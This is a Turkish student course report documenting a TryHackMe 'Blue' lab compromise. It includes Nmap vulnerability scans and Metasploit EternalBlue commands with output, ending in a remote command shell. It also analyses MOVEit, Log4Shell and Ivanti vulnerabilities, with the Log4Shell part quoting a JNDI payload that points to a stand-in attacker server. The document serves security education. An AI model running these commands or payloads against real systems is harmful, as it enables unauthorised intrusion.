

BIL 332 - Bilgi Güvenliđi Dersi

Final Ödev Çalışması

Sızma Testi ve Güncel Zafiyet Analizi

[Redacted]

[Redacted]

Bilgisayar Mühendisliđi (I.Ö.)

Isparta

1. GİRİŞ

Bu çalışma, BİL 332 - Bilgi Güvenliği Dersi final ödevi kapsamında hazırlanmıştır. Rapor, iki ana bölümden oluşmaktadır. İlk bölümde, ders kapsamında incelenen sızma testi metodolojileri uygulanarak Kali Linux işletim sistemi üzerinden hedef bir Windows makinesine yönelik gerçekleştirilen sızma çalışması detaylandırılmaktadır. Bu süreçte Nmap ile bilgi toplama ve zafiyet taraması, Metasploit Framework ile de sızma (exploitation) işlemleri gerçekleştirilmiştir.

İkinci bölümde ise, siber güvenlik dünyasındaki dinamik tehdit ortamını yansıtan ve geniş etki alanına sahip, yakın zamanda keşfedilmiş üç **güncel zafiyet** teknik detaylarıyla analiz edilmiştir. Bu zafiyetler, farklı saldırı vektörlerini temsil etmekte ve kurumlar için taşıdıkları riskler ile alınması gereken önlemler açısından kritik bilgiler içermektedir.

2. YAPILAN ÇALIŞMALAR

2.1. Sızma Çalışması

Bu bölümde, TryHackMe platformunda yer alan "Blue" adlı laboratuvar ortamındaki hedef makineye yönelik gerçekleştirilen sızma testi adımları ve bulguları sunulmaktadır.

2.1.1. Bilgi Toplama ve Zafiyet Taraması

Sızma testinin ilk adımı, hedef sistem hakkında bilgi toplamak ve potansiyel güvenlik zafiyetlerini tespit etmektir. Bu amaçla 10.10.82.188 IP adresine sahip hedef sisteme karşı Nmap aracı kullanılmıştır.

`nmap -sV -vv --script vuln 10.10.82.188` komutu çalıştırılarak servis ve versiyon tespiti ile birlikte bilinen zafiyetlere yönelik bir tarama gerçekleştirilmiştir.

Şekil 1. Nmap Tarama Sonucu - Açık Portlar

```
oot@ip-10-10-81-237:~# nmap -sV -vv --script vuln 10.10.82.188
Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-06 13:51 BST
NSE: Loaded 149 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 10.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
Initiating ARP Ping Scan at 13:51
Scanning 10.10.82.188 [1 port]
Completed ARP Ping Scan at 13:51, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:51
Completed Parallel DNS resolution of 1 host. at 13:51, 0.00s elapsed
Initiating SYN Stealth Scan at 13:51
Scanning ip-10-10-82-188.eu-west-1.compute.internal (10.10.82.188) [1000 ports]
Discovered open port 445/tcp on 10.10.82.188
Discovered open port 3389/tcp on 10.10.82.188
Discovered open port 135/tcp on 10.10.82.188
Discovered open port 49153/tcp on 10.10.82.188
Increasing send delay for 10.10.82.188 from 0 to 5 due to 52 out of 173 dropped probes since last increase.
Discovered open port 139/tcp on 10.10.82.188
```

Tarama sonucunda hedef sistemde 135/tcp, 139/tcp, 445/tcp (SMB) ve 3389/tcp (RDP) portlarının açık olduğu tespit edilmiştir. Nmap'in zafiyet tarama betikleri (vuln scripti), özellikle SMB servisinde kritik bir zafiyet olduğunu raporlamıştır.

Şekil 2. Nmap ile Tespit Edilen MS17-010 Zafiyeti

```
Host script results:
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk Factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|     servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|     https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

2.1.2. Sızma İşlemi (Exploitation)

Tespit edilen MS17-010 zafiyetini sömürmek için Metasploit Framework kullanılmıştır. İlk olarak, bu zafiyet için geliştirilmiş olan exploit/windows/smb/ms17_010_eternalblue modülü seçilmiştir. Ardından, hedef ve saldırgan sistemlerin IP adresleri gibi gerekli parametreler ayarlanmıştır.

- **RHOSTS (Hedef IP):** 10.10.82.188
- **LHOST (Saldırgan IP):** 10.10.81.237

Şekil 3. Metasploit Exploit Parametreleri

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.82.188
rhosts => 10.10.82.188
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.81.237
lhost => 10.10.81.237
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.81.237:4444
[*] 10.10.82.188:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.82.188:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.82.188:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.82.188:445 - The target is vulnerable.
[*] 10.10.82.188:445 - Connecting to target for exploitation.
[+] 10.10.82.188:445 - Connection established for exploitation.
[+] 10.10.82.188:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.82.188:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.82.188:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
s 7 Profes
[*] 10.10.82.188:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional
7601 Serv
[*] 10.10.82.188:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pa
ck 1
[+] 10.10.82.188:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.82.188:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.82.188:445 - Sending all but last fragment of exploit packet
[*] 10.10.82.188:445 - Starting non-paged pool grooming
[+] 10.10.82.188:445 - Sending SMBv2 buffers
[+] 10.10.82.188:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffe
r.
[*] 10.10.82.188:445 - Sending final SMBv2 buffers.
[*] 10.10.82.188:445 - Sending last fragment of exploit packet!
[*] 10.10.82.188:445 - Receiving response from exploit packet
[+] 10.10.82.188:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.82.188:445 - Sending egg to corrupted connection.
[*] 10.10.82.188:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.82.188
[*] Command shell session 1 opened (10.10.81.237:4444 -> 10.10.82.188:49239) at 2025-07-06
14:15:18 +0100
[+] 10.10.82.188:445 - =====
[+] 10.10.82.188:445 - =====WIN=====
[+] 10.10.82.188:445 - =====
```

Parametreler ayarlandıktan sonra run komutu ile sızma işlemi başlatılmıştır. Metasploit, hedef sistemin zafiyetli olduğunu doğruladıktan sonra EternalBlue exploitini başarıyla çalıştırmış ve hedef sisteme erişim sağlamıştır.

Şekil 3'teki çıktıda yer alan "**ETERNALBLUE overwrite completed successfully**" ve "**Command shell session 1 opened**" ifadeleri, sızma işleminin başarıyla tamamlandığını ve hedef sistemde bir komut satırı oturumunun ele geçirildiğini göstermektedir.

2.1.3. Sızma Sonrası İşlemler ve Bulgular

Başarılı exploit işlemi sonucunda hedef makinede C:\Windows\system32> dizininde bir komut satırı (shell) elde edilmiştir. Bu, sistem üzerinde yetkili bir kullanıcı hakkı elde edildiği anlamına gelmektedir.

Şekil 5. Hedef Sistemde Komut Satırı Erişimi

```
*] Started reverse TCP handler on 10.10.81.237:4444
*] 10.10.82.188:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
+] 10.10.82.188:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional
7601 Service Pack 1 x64 (64-bit)
*] 10.10.82.188:445 - Scanned 1 of 1 hosts (100% complete)
+] 10.10.82.188:445 - The target is vulnerable.
*] 10.10.82.188:445 - Connecting to target for exploitation.
+] 10.10.82.188:445 - Connection established for exploitation.
+] 10.10.82.188:445 - Target OS selected valid for OS indicated by SMB reply
*] 10.10.82.188:445 - CORE raw buffer dump (42 bytes)
*] 10.10.82.188:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Window
s 7 Profes
*] 10.10.82.188:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional
7601 Serv
*] 10.10.82.188:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pa
ck 1
+] 10.10.82.188:445 - Target arch selected valid for arch indicated by DCE/RPC reply
*] 10.10.82.188:445 - Trying exploit with 12 Groom Allocations.
*] 10.10.82.188:445 - Sending all but last fragment of exploit packet
*] 10.10.82.188:445 - Starting non-paged pool grooming
+] 10.10.82.188:445 - Sending SMBv2 buffers
+] 10.10.82.188:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
*] 10.10.82.188:445 - Sending final SMBv2 buffers.
*] 10.10.82.188:445 - Sending last fragment of exploit packet!
*] 10.10.82.188:445 - Receiving response from exploit packet
+] 10.10.82.188:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
*] 10.10.82.188:445 - Sending egg to corrupted connection.
*] 10.10.82.188:445 - Triggering free of corrupted buffer.
*] Sending stage (336 bytes) to 10.10.82.188
*] Command shell session 1 opened (10.10.81.237:4444 -> 10.10.82.188:49239) at 2025-07-06
14:15:18 +0100
+] 10.10.82.188:445 - ==-==
+] 10.10.82.188:445 - ==-==WIN==
+] 10.10.82.188:445 - ==-==

Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----

C:\Windows\system32>
```

Erişimin kanıtı ve sistem hakkında daha fazla bilgi toplamak amacıyla systeminfo komutu çalıştırılmıştır.

Şekil 6. Hedef Sistem Bilgileri

```
C:\Windows\system32>systeminfo
systeminfo

Host Name:                JON-PC
OS Name:                  Microsoft Windows 7 Professional
OS Version:               6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:         Jon
Registered Organization:
Product ID:                00371-177-0000061-85337
Original Install Date:     12/12/2018, 9:13:23 PM
System Boot Time:         7/6/2025, 7:46:26 AM
System Manufacturer:      Xen
System Model:              HVM domU
System Type:              x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2300 M
                           hz
BIOS Version:              Xen 4.11.amazon, 8/24/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-06:00) Central Time (US & Canada)
Total Physical Memory:     2,048 MB
Available Physical Memory: 1,612 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,425 MB
Virtual Memory: In Use:    670 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB2534111
                           [02]: KB976902
Network Card(s):           1 NIC(s) Installed.
                           [01]: AWS PV Network Device
                           Connection Name: Local Area Connection 2
                           Driver Name: XcpNet
                           Driver Version: 6.0.0.0
                           Driver Provider: Microsoft
                           Driver Date: 12/12/2018
                           Driver Size: 1,048,576 bytes
                           Driver Type: Network
                           Driver UUID: {00000000-0000-0000-0000-000000000000}
                           Driver PNP Class: {4D36E967-E325-4E73-9B08-F01778243DCC}
```

systeminfo çıktısına göre, hedef sistemin Microsoft Windows 7 Professional Service Pack 1 olduğu ve MS17-010 zafiyetini kapatan güvenlik güncelleştirmesinin yüklü olmadığı görülmektedir. "Hotfix(s)" bölümünde sadece 2 adet güncellemenin listelenmesi, sistemin güncel olmadığını ve bu nedenle zafiyete açık olduğunu doğrulamaktadır.

2.2. Güncel Zafiyetler ve Analizleri

Siber güvenlik alanı, sürekli olarak yeni tehditlerin ortaya çıktığı dinamik bir yapıya sahiptir. Bu bölümde, farklı saldırı vektörlerini temsil eden, etki alanı geniş ve kritik öneme sahip üç güncel zafiyet teknik detaylarıyla incelenmiştir.

2.2.1. MOVEit Transfer SQL Enjeksiyonu ve Kitlesel Veri Sızıntısı (CVE-2023-34362)

Bu zafiyet, 2023'ün en etkili siber saldırılarından birine zemin hazırlaması nedeniyle özel bir öneme sahiptir.

Zafiyet Kodu: CVE-2023-34362

Detaylı Zafiyet İçeriği: Progress Software tarafından geliştirilen MOVEit Transfer, kurumların hassas dosyaları güvenli bir şekilde transfer etmesini sağlayan bir yazılımdır. CVE-2023-34362, bu yazılımın web arayüzünde bulunan kritik bir SQL Enjeksiyonu (SQLi) zafiyetidir. Zafiyet, moveitisapi.dll adlı bir bileşendeki yetersiz girdi doğrulamasından kaynaklanmaktadır. Saldırganlar, özel olarak hazırlanmış HTTP istekleri göndererek bu zafiyeti tetikleyebilir ve MOVEit Transfer'in kullandığı veritabanı üzerinde doğrudan sorgu çalıştırabilirler.

Saldırı zinciri şu şekilde işlemektedir:

Keşif: Saldırgan, SQLi zafiyetini kullanarak veritabanının türünü (örn. MySQL, Microsoft SQL Server) ve yapısını (tablo ve sütun adları) tespit eder.

Veri Sızdırma: Veritabanı yapısını öğrendikten sonra, saldırgan sistematik olarak kullanıcı bilgileri, dosya meta verileri, şifreleme anahtarları ve en önemlisi depolanan hassas dosyalar gibi değerli verileri çeker.

Kalıcılık (Persistence): "Clop" fidye yazılımı grubu tarafından yürütülen saldırılarda, saldırganların zafiyeti sömürdükten sonra sisteme lemur.aspx adında bir webshell (arka kapı)

yerleřtirdiđi gözlemlenmiřtir. Bu webshell, saldırganlara sistem üzerinde kalıcı erişim sağlayarak daha fazla veri çalma veya ađ içinde yatay olarak hareket etme imkanı tanımıřtır.

Hedef Sistemler: Güvenlik yaması uygulanmamıř tüm MOVEit Transfer sürümleri. Bu saldırıdan finans, sađlık, teknoloji ve devlet kurumları dahil olmak üzere dünya çapında binlerce kuruluş etkilenmiř ve milyonlarca kiřinin kiřisel verileri sızdırılmıřtır.

Önlemler ve Çözüm Yolları:

Acil Yamalama: Progress Software tarafından yayınlanan güvenlik yamalarının derhal uygulanması en kritik adımdır.

İzlerin Tespiti (Forensics): Sistem logları ve dosya sistemi üzerinde, özellikle lemur.aspx gibi bilinen zararlı dosya adları veya beklenmedik alt kullanıcı hesapları gibi sızma göstergeleri (Indicators of Compromise - IoC) kontrol edilmelidir.

Ađ Eriřim Kontrolü: Yamalama tamamlanana kadar MOVEit sunucusuna yönelik tüm dıř HTTP ve HTTPS trafiđinin güvenlik duvarı (firewall) üzerinden engellenmesi önerilmiřtir.

2.2.2. Log4Shell - Kütüphane Tabanlı Uzaktan Kod Çalıştırma (CVE-2021-44228)

Zafiyet Kodu: CVE-2021-44228

Detaylı Zafiyet İçeriđi: Log4Shell, Java tabanlı uygulamalarda son derece yaygın olarak kullanılan Apache Log4j 2 loglama kütüphanesindeki bir uzaktan kod çalıştırma (RCE) zafiyetidir. Zafiyetin temelinde, Log4j'nin log mesajları içindeki özel karakter dizilerini işlemesi yatar. Saldırgan, loglanacak bir verinin (örneğin bir kullanıcı adı veya HTTP başlıđı) içine `{jndi:ldap://saldirgan-sunucusu/Exploit}` gibi bir ifade yerleřtirir. Log4j bu ifadeyi gördüğünde, JNDI (Java Naming and Directory Interface) kullanarak saldırganın kontrolündeki bir LDAP sunucusuna bađlanır. Bu sunucu, hedef sisteme indirilecek ve çalıştırılacak zararlı bir Java sınıfı dosyası sunar. Bu işlem, saldırganın hedef sunucu üzerinde tam kontrol elde

etmesiyle sonuçlanır. Etkisinin bu kadar büyük olmasının sebebi, Log4j'nin sayısız yazılım ve serviste bir bağımlılık olarak kullanılmasıdır.

Hedef Sistemler: Log4j 2'nin zafiyetli sürümlerini (2.0-beta9 ile 2.14.1 arası) doğrudan veya dolaylı olarak kullanan neredeyse tüm Java tabanlı sistemler.

Önlemler: Birincil çözüm, Log4j kütüphanesini JNDI aramalarını varsayılan olarak devre dışı bırakan 2.17.1 veya daha üst bir sürüme güncellemektir. Güncellenmenin mümkün olmadığı durumlarda, `log4j2.formatMsgNoLookups=true` sistem özelliğini ayarlamak gibi geçici çözümler uygulanabilir.

2.2.3. Ivanti Connect Secure - Zincirleme Exploit ile Ağ Ele Geçirme (CVE-2024-21887 & CVE-2023-46805)

Zafiyet Kodları: CVE-2024-21887 ve CVE-2023-46805

Detaylı Zafiyet İçeriği: Bu tehdit, tek bir zafiyet yerine iki zafiyetin birleştirilerek (zincirleme) kullanılmasıyla ortaya çıkar. Ivanti Connect Secure, kurumsal ağlara uzaktan güvenli erişim sağlayan bir VPN çözümüdür. Saldırganlar şu adımları izler:

Kimlik Doğrulama Atlama (CVE-2023-46805): İlk olarak, saldırganlar VPN cihazının web arayüzündeki bir yol-tabanlı (path-based) zafiyeti kullanarak kimlik doğrulama mekanizmalarını atlarlar.

Komut Enjeksiyonu (CVE-2024-21887): Kimlik doğrulamasını atlattıktan sonra, aynı web arayüzündeki başka bir zafiyeti kullanarak sistem üzerinde istedikleri komutları yönetici (root) haklarıyla çalıştırırlar.

Bu iki zafiyetin birleşimi, internet üzerindeki kimliği belirsiz bir saldırganın, bir kuruluşun ağının en dış katmanındaki güvenlik cihazını tamamen ele geçirmesine ve oradan tüm iç ağa sızmasına olanak tanır.

Hedef Sistemler: Zafiyetli Ivanti Connect Secure ve Ivanti Policy Secure ađ geitleri.

Önlemler: Ivanti'nin yayınladıđı güvenlik yamalarının acilen uygulanması gerekmektedir. Ayrıca, Ivanti tarafından sağlanan Bütünlük Kontrol Aracı'nın (Integrity Checker Tool) çalıştırılarak sistemde herhangi bir yetkisiz deđişiklik yapıp yapılmadıđının kontrol edilmesi kritik öneme sahiptir.

KAYNAKÇA

CISA. (2023, June 1). CISA adds one known exploited vulnerability to catalog. Cybersecurity and Infrastructure Security Agency. <https://www.cisa.gov/news-events/alerts/2023/06/01/cisa-adds-one-known-exploited-vulnerability-catalog>

Mandiant. (2024, January 12). Cutting edge: Suspected APT targets Ivanti Connect Secure VPN in new zero-day exploitation. Google Cloud. <https://cloud.google.com/blog/topics/threat-intelligence/session-cloning-in-ivanti-vulnerability>

Volexity. (2024, January 10). Active exploitation of two zero-day vulnerabilities in Ivanti Connect Secure VPN. Volexity. <https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/>